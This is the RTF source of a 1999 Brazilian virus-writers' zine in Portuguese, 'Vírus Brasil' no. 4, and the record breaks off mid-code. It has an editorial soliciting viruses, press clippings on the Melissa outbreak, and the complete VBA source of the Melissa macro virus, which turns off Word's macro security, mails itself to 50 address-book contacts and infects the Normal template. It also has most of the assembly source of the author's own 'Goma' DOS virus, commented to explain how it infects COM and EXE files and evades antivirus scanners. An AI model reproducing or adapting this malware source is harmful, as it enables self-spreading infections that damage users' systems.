Virus Brasil4:(virbr04.rtf):05/10/1999 << Back To Virus Brasil4

{\rtf1\ansi\deff0\deftab720{\fonttbl{\f0\fnil MS Sans Serif;}{\f1\fnil\fcharset2 Symbol;}{\f2\fswiss\fprq2 System;}{\f3\fnil Times New Roman;}{\f4\fswiss\fprq2 Verdana;}{\f5\froman\fprq2 Times New Roman;}{\f6\fnil Courier New;}{\f7\fnil Verdana;}{\f8\fnil verdana;}{\f9\froman Times New Roman;}} {\colortbl\red0\green0\blue0;\red0\green0\blue255;\red0\green255\blue0;\red0\green128\blue128;\red255\green255\blue0;\red255\green0\blue0;} \deflang1046\pard\qr\plain\f4\fs28\cf0\b\i Outubro/Novembro/Dezembro de 1999 \par \plain\f3\fs96\cf2\b\ul V\'edrus Brasil \par N\'ba4 \par \pard\plain\f3\fs20\b\ul \par \pard\qc\plain\f3\fs32\cf3\b\ul http://www.fortunecity.com/campus/medicine/120 \par \par e-mail: nim_bus@hotmail.com\plain\f3\fs20\cf3\b\ul \par \pard\plain\f3\fs20\cf3\b\ul \par \plain\f3\fs20\b\ul \tab \tab \par \tab \plain\f3\fs24 \'c9 com grande satisfa\'e7\'e3o que esta saindo mais esse n\'famero do zine V\'edrus Brasil, recebi uma grande quantidade de e-mails nos ultimos meses, o que indica que a galera esta lendo, tendo d\'favidas, dando sugest\'f5es, mandando v\'edrus, mat\'e9rias e muitos outros. \par \tab Em agosto no meu retorno \'e0 vida academica depois de uma "f\'e9rias" de 2 semanas, estava em uma aula de EM312 (Desenho T\'e9cnico) e troquei id\'e9ia com uns cara da computa\'e7\'e3o (engenharia) e ao decorrer do papo caimos no assunto de v\'edrus um dos caras comentou que j\'e1 tinha feito e tal ai eu perguntei se ele j\'e1 tinha lido o V\'edrus Brasil e para minha surpresa o cara j\'e1 tinha lido e me deu umas sugest\'f5es e ficou de me passar uns fontes de v\'edrus em C , bom eu to no aguardo das fontes, mas elas chegam ... \par \tab Dentre os e-mails que recebi um me criticou bastante (uma crit\'edca construtiva) no qual foram apresentadas algumas "falhas" no zine que eu s\'f3 consegui perceber atrav\'e9s desse e-mail , fico muito grato por tudo e creio que a partir dessa edi\'e7\'e3o o zine esteja j\'e1 de cara nova, afinal a pr\'f3xima edi\'e7\'e3o \'e9 a de hum (1) ano e uma reestrutura\'e7\'e3o \'e9 muito importante. \par \tab Continuo escrevendo o zine sozinho (eu escrevo alguma coisa, copio outras, fa\'e7o v\'edrus (em Asm , mas j\'e1 vamos mudar isso, fa\'e7o a editora\'e7\'e3o do mesmo e o distribuo) com ajuda de umas 5 pessoas e olhe l\'e1 ... \par \tab Bom como dito acima muito vai mudar, para ter uma no\'e7\'e3o vai nessa edi\'e7\'e3o um v\'edrus de macro (o primeiro distribuido com o nosso zine) e nem \'e9 brasileiro \'e9 o Melissa (voc\'ea j\'e1 deve ter ouvido falar, fico um pouco magoado por colocar um v\'edrus assim na lata sem explica\'e7\'f5es coment\'e1rios no mesmo ou seil\'e1, mas to sem tempo e n\'e0o arrumei nenhum exemplar de qualquer virus de macro brasileiro que fosse e como j\'e1 disse n\'e3o tenho tempo, nem me dei ao trabalho de fazer um, quer dizer, como se eu soubesse (ainda to lendo, mas j\'e1 vi que \'e9 muito boi ...). \par \tab Creio que introduziremos gradativamente materiais da galera que l\'ea o zine e esta fazendo uma presen\'e7a no cen\'e1rio tamb\'e9m, estamos ai e vamos levando, se pensaram que ia acabar estavam totalmente enganados, a divers\'e3o esta apenas come\'e7ando ... \par \par \tab Ps. Se tiver algum mano que estiver lendo o zine e manjar um pouquinho de ingles, o suficiente para traduzir o zine completo ( passar em um tradutor n\'e3o vale...) eu mesmo s\'f3 n\'e3o o fa\'e7o por raz\'e3o de falta de tempo , ou eu escreveria em portugues ou ingles, optei pelo portugues que posso escrever do jeito que quero sem ninguem encher meu saco em ingles seria um neg\'f3cio mais formal, mas sei l\'e1 a proposta est\'e1 dada, n\'e3o estou fazendo isso pra ganhar mercado, afinal n\'e3o estou vendendo nada nem sou candidato a porra nenhuma ( quer dizer, sou, mas \'e9 pra uma bolsa na fapesp ...). \par \tab \par \tab Ent\'e3o, acho que era isso. Boa leitura ... \par \par \par \par \plain\f4\fs60\cf4\b\ul Conte\'fado :\plain\f3\fs24\cf5 \par \par \pard\li360\fi-360{\*\pn\pnlvlblt\pnf1\pnindent360{\pntxtb\'b7}}\plain\f3\fs24\cf1\b\ul {\pntext\f1\'b7\tab}Editorial\plain\f3\fs20\cf1 \par \plain\f3\fs24\cf1\b\ul {\pntext\f1\'b7\tab}Melissa Macro V\'edrus\plain\f3\fs20\cf1 \par \plain\f3\fs24\cf1\b\ul {\pntext\f1\'b7\tab}Goma Com&Exe (v\'edrus comentado)\plain\f3\fs20\cf1 \par \plain\f3\fs24\cf1\b\ul {\pntext\f1\'b7\tab}Detector do v\'edrus Freddy Krueger 2.1 (incluindo o v\'edrus)\plain\f3\fs20\cf1 \par \plain\f3\fs24\cf1\b\ul {\pntext\f1\'b7\tab}Tutorial de V\'edrus em Pascal (por LeBeau)\plain\f3\fs20\cf1 \par \plain\f3\fs24\cf1\b\ul {\pntext\f1\'b7\tab}V\'edrus em Pascal (por Vecna)\plain\f3\fs20\cf1 \par \plain\f3\fs24\cf1\b\ul {\pntext\f1\'b7\tab}Valeu ... \plain\f3\fs20\cf1 \par \pard\plain\f3\fs24\cf1\b\ul \par \par \plain\f4\fs60\b\ul \tab \tab \par \pard\qc\plain\f4\fs72\cf1\b\i\ul Editorial\plain\f4\fs60\b\ul \par \par \pard\plain\f4\fs20\b\ul \tab \plain\f4\fs20 Bom como voc\'eas devem ter percebido na intro desse n\'famero, algumas coisas mudaram, e mudaram para melhor eu acho, se n\'e3o da um toque ... \par \tab Agora al\'e9m do arquivo que era em txt e eu fiz em rtf v\'e3o os v\'edrus melissa, em melissa.w97 (favor n\'e3o abrir pois est\'e1 infectado) , o Goma Com&Exe (goma.892) que esta como goma_892.vom (evite renomea-lo pois \'e9 o v\'edrus propriamente dito), o v\'edrus Freddy Krueger 2.1 (freddy.vom) , entre outros que eu julguei necess\'e1rio ... \par \tab Nesse n\'famero creio que est\'e1 um dos meus \'faltimos v\'edrus em Asm que s\'e3o de Runtime b\'e1sicos, de agora em diante devo escrever uns TSR's , uns encriptados, polim\'f3rficos, de overwriting, por que n\'e3o ? V\'edrus de overwriting tamb\'e9m \'e9 v\'edrus n\'e3o \'e9 ? uns em HLL , uns v\'edrus de macro pro word ou pro excel , e em w32 que est\'e1 precisando e mais alguma coisa de boot que eu acho muito louco ... \par \tab Muda-se um pouco o estilo, mas continuamos a ser brasileiros e n\'e3o \'e9 uma mat\'e9ria sobre um v\'edrus "importado" que deixaremos de divulgar nossos trabalhos ... o melissa esta ai para ver a aceita\'e7\'e3o do p\'fablico e ver algums dados sobre o mesmo, mas essa repercurs\'e0o s\'f3 veremos o ano que vem ... \par \tab Volto aqui para lembrar sempre a voc\'ea que se voc\'ea tem um v\'edrus um trojan um Worm um Macro ou sej\'e1 l\'e1 o que for que seja brazuca e voc\'ea quizer mandar pra galera analisar, mande pra V\'edrus Brasil que com certeza um dia seremos uma refer\'eancia em v\'edrus nacionais ... \par \tab Esse editorial fica por aqui pois s\'e3o 4:50 da manh\'e3 e s\'f3 faltava fechar ele e por na net, bom, estou saindo fora e colocando o zine na net amanha poiis to capotando de sono, qualquer coisa de\'eam um toque. \par \tab \tab \tab \tab \par \tab \tab \tab \tab \tab \tab \par \tab \tab Do Editor/Redator/Diagramador/VirusMaker/Pesquisador e o caralho a 4 \par \tab \tab \tab \tab \tab \tab \tab \tab \tab \tab nim bus \par \par \plain\f7\fs20\i \par \par \plain\f7\fs72\cf1\b\i \tab \tab \tab \plain\f7\fs72\cf1\b\i\ul Melissa V\'edrus\plain\f7\fs72\cf0\b\i\ul \par \par \plain\f7\fs20\cf0 \tab Como dito no editorial, algumas mudan\'e7as ocorreram no Zine . Uma delas \'e9 a inclus\'e3o de v\'edrus n\'e3o brasileiros (mas qualquer um ? N\'e3o, s\'f3 os que tiveram algum tipo de repercurs\'e3o ...) , no caso dessa mat\'e9ria o V\'edrus de Macro Mellissa que \'e9 na minha opini\'e3o de leigo em MacroVirus um dos v\'edrus que mais se disseminou no mundo ... \par \tab Segue em anexo com essa mat\'e9ria, o c\'f3digo fonte, um arquivo infectado, e algumas mat\'e9ria que sairam na m\'eddia impressa (no caso o jornal O Estado De S\'e3o Paulo), espero que gostem da mat\'e9ria e pe\'e7o desculpas por ela estar saindo s\'f3 agora (se eu colocar o chernobil, tamb\'e9m j\'e1 estar\'e1 velho) mas como s\'e3o mudan\'e7as significativas no conte\'fado do zine, prefiro ir indo devagar ... \par \tab Espero que n\'e3o fiquem desapontados de eu n\'e3o colocar o Louvado do Alevirus, mas to sem as fontes (procurei por ai mas nem achei. Ele tamb\'e9m nem sabe onde ta as fontes ou algum arquivo infectado com ele, bom cabe\'e7a de micreiro \'e9 uma bosta ....) as introdu\'e7\'f5es s\'e3o vagarosas, deveria colocar um tutorial de MacroVirus antes dessa mat\'e9ria, mas \'e9 foda ai a mat\'e9ria n\'e3o ia sair nunca, pe\'e7o desculpas, e logo que der eu arrumo um tutorial bom de v\'edrus de macro ... \par \tab Sem mais delongas .... \par \par \tab \tab \tab \tab \tab \tab \tab \tab \tab \tab \tab T+ \par \tab \tab \tab \tab \tab \tab \tab \tab \tab nim_bus@hotmail.com \par \par \tab \plain\f7\fs72\cf0\b\i\ul \par \plain\f7\fs20\i \par \plain\f7\fs60\b\i\ul \tab \tab \tab \tab M\'e1terias\plain\f7\fs20\i \par \par \tab \tab Mat\'e9rias retiradas da Ag\'eancia Estado via Internet (estado.com.br) \par \par Segunda-feira,29 de mar\'e7o de 1999\plain\f7\fs20 \plain\f8\fs20 \tab \tab \par \par \plain\f8\fs28\cf0\b\ul V\'edrus Melissa ataca milhares de computadores \plain\f8\fs20 \par \pard\li360\plain\f8\fs20 NOVA YORK - Um novo v\'edrus de computador que se espalha a uma velocidade jamais vista obrigou v\'e1rias companhias a fecharem seus provedores de correio eletr\'f4nico na sexta-feira, informou ontem o jornal The New York Times. Entidades especializadas na luta antiv\'edrus estimam que milhares de computadores pessoais ou de escrit\'f3rios foram infectados. \par O v\'edrus, que os seus criadores batizaram de Melissa, foi programado para utilizar cada correio eletr\'f4nico infectado para enviar outros 50 exemplares de si mesmo. Melissa age bloqueando redes e provedores de correio eletr\'f4nico. "Nunca vimos um v\'edrus ser transmitido t\'e3o rapidamente", declarou Srivats Sampath, da Network Associates, em Santa Clara, Calif\'f3rnia. \par \pard\plain\f8\fs20 Melissa surge com a frase "mensagem importante de...", acompanhada de um nome conhecido de quem a recebe. Uma vez aberto, pode-se ler: "Este \'e9 o documento que pediu. N\'e3o o mostre a ningu\'e9m." Um documento Microsoft Word est\'e1 vinculado \'e0 mensagem. Quando \'e9 aberto, Melissa busca a rela\'e7\'e3o de endere\'e7os e envia uma c\'f3pia sua aos primeiros 50 encontrados. Para n\'e3o ser afetado, n\'e3o se deve abrir o documento. (AFP) \tab \par \par \plain\f8\fs20\i \par \plain\f8\fs20 \par \plain\f7\fs20\i Ter\'e7a-feira,6 de abril de 1999\plain\f7\fs20 \plain\f8\fs20 \tab \tab \par \par \plain\f8\fs28\cf0\b\ul N\'famero de s\'e9rie provoca pol\'eamica sobre privacidade \plain\f8\fs20 \par \pard\li360\plain\f8\fs20 S\'c3O FRANCISCO - No documento do Microsoft Word que transportou o v\'edrus Melissa pelo mundo, na semana passada, estava oculto um n\'famero de s\'e9rie que ajudou os agentes federais a identificar o computador respons\'e1vel pelo programa. O incidente ilustrou o crescente poder da tecnologia de promover tanto o bem como o mal. O n\'famero de s\'e9rie, por si s\'f3 - conhecido no jarg\'e3o de computa\'e7\'e3o como \'fanico identificador global -, permanece no centro de uma controv\'e9rsia sobre o direito individual \'e0 privacidade em oposi\'e7\'e3o ao bem comum. \par \pard\plain\f8\fs20 O incidente com o sistema de numera\'e7\'e3o da Microsoft ocorreu poucas semanas ap\'f3s a Intel Corp., s\'f3cia da companhia, ter anunciado que estava embutindo n\'fameros seriais em cada unidade de seu processador mais recente, o Pentium 3. O an\'fancio provocou protestos. Mas engenheiros de computadores sustentam que, como as redes se tornaram muito difundidas, essas numera\'e7\'f5es s\'e3o necess\'e1rias para o funcionamento de sistemas de softwares cada vez mais sofisticados. (The New York Times) \par \plain\f3\fs20 \par \plain\f8\fs20 \par \plain\f9\fs24 \par \plain\f7\fs20\i \tab Segunda-feira,14 de junho de 1999\plain\f7\fs20 \plain\f8\fs20 \tab \tab \par \par \plain\f8\fs28\cf0\b\ul Symantec prepara antiv\'edrus robotizado \plain\f8\fs20 \par \plain\f8\fs20\i Digital Immune System analisa v\'edrus e fabrica e distribui vacinas de forma autom\'e1tica \par \pard\li360\plain\f8\fs20 Quando o v\'edrus Melissa come\'e7ou a infestar computadores, foi preciso quatro horas para que os t\'e9cnicos da Symantec desenvolvessem e testassem uma vacina. Ao mesmo tempo, engenheiros da empresa testavam um novo sistema para detec\'e7\'e3o e elimina\'e7\'e3o de v\'edrus. A resposta do teste veio r\'e1pida: em 40 minutos, o v\'edrus havia sido isolado e uma vacina havia sido produzida e distribu\'edda. Foi o teste que faltava ao Digital Immune System, combina\'e7\'e3o de software e servi\'e7os da Symantec que ser\'e1 oferecida \'e0s empresas a partir de agosto. \par O Digital Immune System, ou DIS, re\'fane tecnologias desenvolvidas por engenheiros da Symantec, IBM e Intel. Seu funcionamento pode ser comparado aos mecanismos de defesa de um organismo vivo (ver quadro). Em um computador integrante do DIS, todo v\'edrus desconhecido \'e9 enviado, via Internet, aos laborat\'f3rios da Symantec. Computadores da empresa ir\'e3o analisar o v\'edrus e produzir uma atualiza\'e7\'e3o (vacina), que ser\'e1 enviada imediatamente a todos os clientes da Symantec, tamb\'e9m via Internet. Esses receptores ser\'e3o encarregados de disseminar a atualiza\'e7\'e3o dentro de cada rede privativa. \par \pard\plain\f8\fs20 A estrat\'e9gia da Symantec n\'e3o se resume a combater v\'edrus. "Queremos que os computadores das empresas fiquem o menor tempo poss\'edvel fora do ar", explica a diretora S\'eanior da Unidade de Clientes Corporativos, Elizabeth Magliana. Para alcan\'e7ar esse objetivo, todos os produtos da Symantec (Norton Utilities, PC Anywhere, Speed Disk e outros) dever\'e3o funcionar integrados ao DIS. Novas vers\'f5es desses utilit\'e1rios ser\'e3o lan\'e7adas em at\'e9 18 meses. Outro desafio da Symantec \'e9 lan\'e7ar uma linha completa para seguran\'e7a de conte\'fado, com aplica\'e7\'f5es capazes de filtrar e selecionar endere\'e7os de Internet, e-mail e c\'f3digo malicioso (HTML, Java e ActiveX). Esses produtos devem estar dispon\'edveis no in\'edcio do ano que vem, promete a Symantec.(R.N.S.) \par \par \plain\f3\fs20 \par \plain\f3\fs60\b\i\ul \par \tab \tab \tab C\'f3digo Fonte \par \par \plain\f6\fs20 Private Sub Document_Open() \par On Error Resume Next \par \par If System.PrivateProfileString("","HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\9.0\\Word\\Security","Level")<>"" \par Then \par CommandBars("Macro").Controls("Security...").Enabled = False \par System.PrivateProfileString("", "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\9.0\\Word\\Security", "Level") = 1& \par Else \par CommandBars("Tools").Controls("Macro").Enabled = False \par Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) \par End If \par \par Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice \par Set UngaDasOutlook = CreateObject("Outlook.Application") \par Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") \par If System.PrivateProfileString("", "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\", "Melissa?") <> "... by Kwyjibo" Then \par \par If UngaDasOutlook = "Outlook" Then \par DasMapiName.Logon "profile", "password" \par For y = 1 To DasMapiName.AddressLists.Count \par Set AddyBook = DasMapiName.AddressLists(y) \par x = 1 \par Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) \par For oo = 1 To AddyBook.AddressEntries.Count \par Peep = AddyBook.AddressEntries(x) \par BreakUmOffASlice.Recipients.Add Peep \par x = x + 1 \par If x > 50 Then oo = AddyBook.AddressEntries.Count \par Next oo \par \par BreakUmOffASlice.Subject = "Important Message From " & Application.UserName \par BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)" \par BreakUmOffASlice.Attachments.Add ActiveDocument.FullName \par BreakUmOffASlice.Send \par Peep = "" \par Next y \par DasMapiName.Logoff \par End If \par \par System.PrivateProfileString("", "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\", "Melissa?") = "... by Kwyjibo" \par End If \par \par Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1) \par Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1) \par NTCL = NTI1.CodeModule.CountOfLines \par ADCL = ADI1.CodeModule.CountOfLines \par BGN = 2 \par If ADI1.Name <> "Melissa" Then \par If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL \par Set ToInfect = ADI1 \par ADI1.Name = "Melissa" \par DoAD = True \par End If \par \par If NTI1.Name <> "Melissa" Then \par If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL \par Set ToInfect = NTI1 \par NTI1.Name = "Melissa" \par DoNT = True \par End If \par \par If DoNT <> True And DoAD <> True Then GoTo CYA \par \par If DoNT = True Then \par Do While ADI1.CodeModule.Lines(1, 1) = "" \par ADI1.CodeModule.DeleteLines 1 \par Loop \par ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()") \par Do While ADI1.CodeModule.Lines(BGN, 1) <> "" \par ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) \par BGN = BGN + 1 \par Loop \par End If \par \par If DoAD = True Then \par Do While NTI1.CodeModule.Lines(1, 1) = "" \par NTI1.CodeModule.DeleteLines 1 \par Loop \par ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()") \par Do While NTI1.CodeModule.Lines(BGN, 1) <> "" \par ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1) \par BGN = BGN + 1 \par Loop \par End If \par \par CYA: \par \par If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then \par ActiveDocument.SaveAs FileName:=ActiveDocument.FullName \par ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then \par ActiveDocument.Saved = True \par End If \par \par 'WORD/Melissa written by Kwyjibo \par 'Works in both Word 2000 and Word 97 \par 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! \par 'Word -> Email | Word 97 <--> Word 2000 ... it's a new age! \par \par If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here." \par End Sub \par \par \pard\qc\plain\f4\fs52\b\i\ul V\'edrus UUencodado \par \par \pard\plain\f6\fs20 \tab Nem liga, mas nem uuencodei o v\'edrus pois vai que nao funciona ou seil\'e1, bom o v\'edrus ta indo em Melissa.W97 e acho que \'e9 s\'f3 isso, qualquer coisa da um toque ... \par \par \par \plain\f3\fs20 \tab \tab \tab \tab \plain\f3\fs60\b\i\ul Conclus\'e3o \par \par \tab \plain\f4\fs20 Dou por conclu\'edda a mat\'e9ria sobre o v\'edrus de Macro Mellissa, mesmo n\'e3o falando muito do v\'edrus e de sua t\'e9cnica, vide qualquer database de v\'edrus que certamente\plain\f3\fs20 \plain\f4\fs20 estar\'e1 \par uma descri\'e7\'e3o muito completa e bem detalhada sobre esse v\'edrus... \par \tab Vide arquivo infectado anexado ao pacote zip. \par \tab Ah, se voc\'ea tem ai algum v\'edrus de macro seu ou de algum conhecido e quiser mandar pra gente, n\'e3o exite, mande j\'e1 ... Estamos precisando ... \par \par \tab At\'e9 mais mesmo ... \par \par \tab \tab \tab \tab nim_bus@hotmail.com \par \par \par \pard\qc\plain\f4\fs72\cf1\b\i\ul Goma Com&Exe \par \plain\f4\fs72\b\i\ul \par \plain\f6\fs20 \par \pard\plain\f6\fs20 ... Goma para sempre seu bando de cururu ... \par `A memoria de Regis e Guino \par ... Goma para sempre seu bando de cururu ... \par \par Comentarios : \par \par O virus tem 892 bytes de tamanho, infecta arquivos COM (7 em cada \par execucao) e arquivos EXE (tambem 7 por execucao), nao altera data nem \par hora das vitimas, e' um virus de appending, ou seja, ele insere seu co- \par digo apos o final do arquivo. \par \par - Infectando arquivos COM : \par O virus tem um bug proposital que despista o AVP, mas que faz com \par que arquivos infectados (COM) rodem apenas o virus nao o programa ori- \par ginal (tipo o Goma.743) . \par Embora isso, o virus restaura, data/hora e attributos do arquivo. \par \par - Infectando arquivos EXE : \par Verifica se o arquivo ja foi infectado, se tem overlay e se e' real- \par mente um arquivo EXE (tipo o Goma.1551) \par \par - Sem Flags no TBAV, Nada na Heuristica do F-PROT e Nada no DEEP do AVP, \par pelo menos no fonte compilado . \par \par Quer dizer e' mais um virus brazuca 100 % desconhecido !!!! \par \par - Data de Ativacao \par 22/10/???? Data do falecimento dos nosso dois camaradas (valeu \par irmaos, esse e' mais um por voces .) \par \par - Acao do virus \par Multiplicacao e mensagem !!! \par \par - Rotinas que merecem destaque: \par Nenhuma em especial o virus \'82 pelado, nao tem troca de diretorio, \par nao tem nenhuma rotina de acao nervosa, existe a captura da int 24, a \par qual controla os erros, fora isso nada mais ... \par \par \pard\qc\plain\f5\fs52\b\i\ul C\'f3digo Fonte\plain\f6\fs20 \par \pard\plain\f6\fs20 \par ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; GOMA_COM&EXE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; \par page 22101997 \par title Virus Brasil n\'a74 em 1999 por nim_bus@hotmail.com \par name Goma_COM&EXE \par ; \par .286c ; Instrucoes 80286 \par .model tiny ; Modelo de memoria \par ; \par ;;;;;;;;;;;;;; CONSTANTES ;;;;;;;;;;;;;;;;;;;;; \par Data_Hora_Sis equ 2ah ; \par Tamanho_virus equ Fim_virus - Virus_real ; \par Inf_sete equ 7 ; \par Marca_Exe equ 474fh ; \par Dta equ 1ah ; \par Find_First equ 4eh ; \par Find_Next equ 4fh ; \par Attrib equ 43h ; \par Ponteiro equ 42h ; \par Escrever equ 40h ; \par Abrir equ 3dh ; \par Fechar equ 3eh ; \par Data_Hora equ 57h ; \par Mes_Ativacao equ 10 ; \par Dia_Ativacao equ 22 ; \par ;;;;;;;;;;;; CONSTANTES ;;;;;;;;;;;;;;;;;;;;;;; \par ; \par Virus segment byte public 'Virus' ; \par assume cs:Virus,ds:Virus,es:nothing,ss:nothing ; \par org 100h ; \par ; \par ;;;;;;;;;; Inicio do Virus ;;;;;;;;;;;;; \par Inicio: ; \par db 0E9h,3,0 ; Jmp para o virus \par ;;;;;;;; "Arquivo Infectado" ;;;;;;;;;;; \par Infectado: ; Criamos um programa \par db 0CDh,20h,0 ; que sera infectado e \par ; tem a instrucao \par ; INT 20h \par ;;;;;;;;; O virus em si ;;;;;;;;;;;;;;; \par Virus_real: ; \par push ds ; \par push es ; \par push cs ; \par ; \par call Despista_avp ; Despistador do AVP \par ; \par pop ds ; \par lea dx,[bp + offset DTA_80] ; Dta \par mov ah,Dta ; \par int 21h ; \par ; \par mov byte ptr [bp + Infectados],0 ; Infeccoes setadas \par ; em 0 \par ; \par push [bp + exe_cs] ; Papagaiada por causa dos \par push [bp + exe_ip] ; arquivos EXE ... \par push [bp + exe_ss] ; Se tiver saco um dia \par push [bp + exe_sp] ; explico ... \par ; \par call Procura_Exe ; Vamos infectar os EXE \par ; primeiro, \par call Procura_Com ; Depois os COM \par ; \par call Acao ; Se desejar alguma a\'87\'c6o para o v\'a1rus \par ; a chame aqui ... \par pop [bp + exe_sp] ; \par pop [bp + exe_ss] ; \par pop [bp + exe_ip] ; \par pop [bp + exe_cs] ; \par ; \par pop es ; \par pop ds ; \par call dta_1 ; Dta \par int 21h ; \par ; \par cmp sp,Marca_Exe ; ver na pilha se \'82 EXE \par je sai_exe ; Sai fora do EXE ... \par ; \par ; \par Sai_com: ; \par ; Tipo tive de deixar um bug no virus \par ; pois estou sem tempo para pesquisar \par ; os pontos que o avp reconhece como \par ; sendo um virus suspeito, deixei os \par ; arquivos com infectados, rodarem a- \par ; penas o virus e nao o programa ! \par int 20h ; \par ret ; sai fora \par ; \par Sai_exe: ; \par mov ax,ds ; grava o endere\'87o de retorno \par add ax,10h ; \par push ax ; \par add ax,cs:[bp + exe_cs] ; \par mov cs:[bp + retorno_cs],ax ; \par ; \par mov ax,cs:[bp + exe_ip] ; \par mov cs:[bp + retorno_ip],ax ; \par ; \par pop ax ; \par add ax,cs:[bp + exe_ss] ; restaura a pilha \par cli ; \par mov ss,ax ; \par mov sp,cs:[bp + exe_sp] ; \par ; \par call Fixa_reg ; fixa os registros \par sti ; \par ; \par db 0EAh ; Restaure o programa infectado \par ; (Rode ele.) \par ;;;;;;; Constantes EXE header ;;;;;;;;; \par retorno_ip dw 0 ; \par retorno_cs dw 0 ; \par exe_cs dw -16 ; CS:IP (original) \par exe_ip dw 103h ; \par exe_sp dw -2 ; SS:SP (original) \par exe_ss dw -16 ; \par ;;;;;;; Constantes EXE header ;;;;;;;;; \par Fixa_reg: ; Gravando os registradores \par xor ax,ax ; \par cwd ; \par xor bx,bx ; \par call Fixa_reg_2 ; \par Fixa_reg_2: ; Despistando Av's \par mov si,100h ; \par xor di,di ; \par xor bp,bp ; \par ret ; \par ;;;;;;;; Procurando os .COM ;;;;;;;;;;;; \par Procura_Com: ; \par mov ah,Find_First ; Achar o 1\'a7 \par inc byte ptr [bp + offset Com_Masc] ; \par ; ")" + 1 = "*" \par lea dx,[bp + com_masc] ; \par int 21h ; Procure \par dec byte ptr [bp + offset Com_Masc] ; \par jc Fim_Com ; Nao Achou ... \par Proximo_Com: ; Proximo \par lea dx,[bp + DTA_80 + 1Eh] ; \par call Abrir_arquivo ; Abrir arquivo \par ; \par cmp byte ptr [bp + Infectados],Inf_sete ; \par ; Infectamos quantos, 7 ? \par je Fim_Com ; J\~. Vamos infectar EXE's ... \par ; \par mov ah,Find_Next ; Proximo ... \par int 21h ; \par ; \par jnc Proximo_Com ; Se tem, continue procurando ... \par ; \par Fim_Com: ; \par ret ; Acabaram-se os COM \par ; \par Exe_masc db ').EXE',0 ; \par ;;;;;;;;; Procurando os .EXE ;;;;;;;;;;; \par Procura_Exe: ; Vide coment\~rios em \par mov ah,Find_First ; Procura_Com ... \par inc byte ptr [bp + offset Exe_Masc] ; \par lea dx,[bp + exe_masc] ; \par int 21h ; \par dec byte ptr [bp + offset Exe_Masc] ; \par jc Fim_Exe ; \par ; \par Proximo_EXE: ; \par lea dx,[bp + DTA_80 + 1Eh] ; \par call Abrir_arquivo ; \par ; \par cmp byte ptr [bp + Infectados],Inf_sete ; \par je Fim_Exe ; \par ; \par mov ah,Find_Next ; \par int 21h ; \par jnc Proximo_EXE ; \par Fim_Exe: ; \par ret ; \par ; \par ;;;;;;;;;;;;;;; Mensagem ;;;;;;;;;;;;;;; \par Mensagem: \par db "[TDG'99]",13,10 \par db " Goma_COM&EXE por nim_bus@hotmail.com em 1999 ",13,10,13,10 \par db " Dedicado \'85 mem\'a2ria do Regis e do Guino, valeu irm\'c6os ...",13,10,13,10 \par db " Valeu \'85 toda a galera que me deu um apoio na realiza\'87\'c6o ",13,10 \par db " de mais esse projeto e estamos ai ...$",13,10 \par ;;;;;;;;;;; Abrir Arquivo ;;;;;;;;;;;;;; \par Abrir_arquivo: ; \par jmp Enganei ; Despistar Av's \par ; \par Enganei: ; \par push si ; \par ; \par xor ax,ax ; \par mov es,ax ; captura int 24 \par lea ax,[bp + int_24] ; \par mov es:[24h * 4],ax; (A)bort,(R)etry,(F)ail ? \par mov es:[24h * 4 + 2],cs ; \par ; \par mov ah,Attrib ; \par mov al,00h ; pega os atributos \par int 21h ; \par ; \par push cx ; \par push dx ; \par push ds ; \par xor cx,cx ; \par call mudar_attributos ; vamos muda-los \par ; \par mov ah,Abrir ; abrir arquivo \par mov al,02h ; read/write \par int 21h ; \par jc Nao_abriu ; n\'c6o conseguiu . \par xchg bx,ax ; \par ; \par mov ah,Data_Hora ; \par mov al,00h ; pega a data e hora \par int 21h ; \par ; \par push cx ; \par push dx ; \par mov ah,3Fh ; ler do arquivo \par mov cx,28 ; 28 bytes \par lea dx,[bp + Buffer] ; \par int 21h ; \par ; \par cmp byte ptr [bp + Buffer],'Z' ; \'82 EXE mesmo ? \par je Infectar_exe ; Sim , infecta como EXE ! \par ; \par cmp byte ptr [bp + Buffer],'M' ; \'82 EXE mesmo ? \par je Infectar_exe ; Sim , infecta como EXE! \par ; \par ; Se estamos aqui \'82 porque \par ; o arquivo \'82 COM, vamos \par ; infecta-lo como COM ! \par ; \par mov al,2 ; Mover os ponteiros para \par call mover_ponteiro ; o fim do arquivo \par ; \par cmp dx,65279-(Tamanho_virus + 3) ; Vai dar estouro de \par ; divis\'c6o no COM ? \par ja Nao_infectar ; Vai, ent\'c6o n\'c6o infecte . \par ; \par sub dx,Tamanho_virus + 3 ; Ver se j\~ est\~ Infectado \par cmp dx,word ptr [bp + Buffer + 1] ; \par je Nao_infectar ; Esta ! N\'c6o infecte ... \par ; \par add dx,Tamanho_virus + 3 ; \par mov word ptr [bp + Jump_3 + 1],dx; \par ; \par lea dx,[bp + Buffer] ; Salvar a header do programa \par int 21h ; \par ; \par mov ah,Escrever ; Inserir o virus no programa \par mov cx,Tamanho_virus ; \par lea dx,[bp + Virus_real] ; \par int 21h ; \par ; \par xor al,al ; Voltar para o inicio \par call mover_ponteiro ; do arquivo \par ; \par lea dx,[bp + Jump_3] ; \par int 21h ; \par ; \par 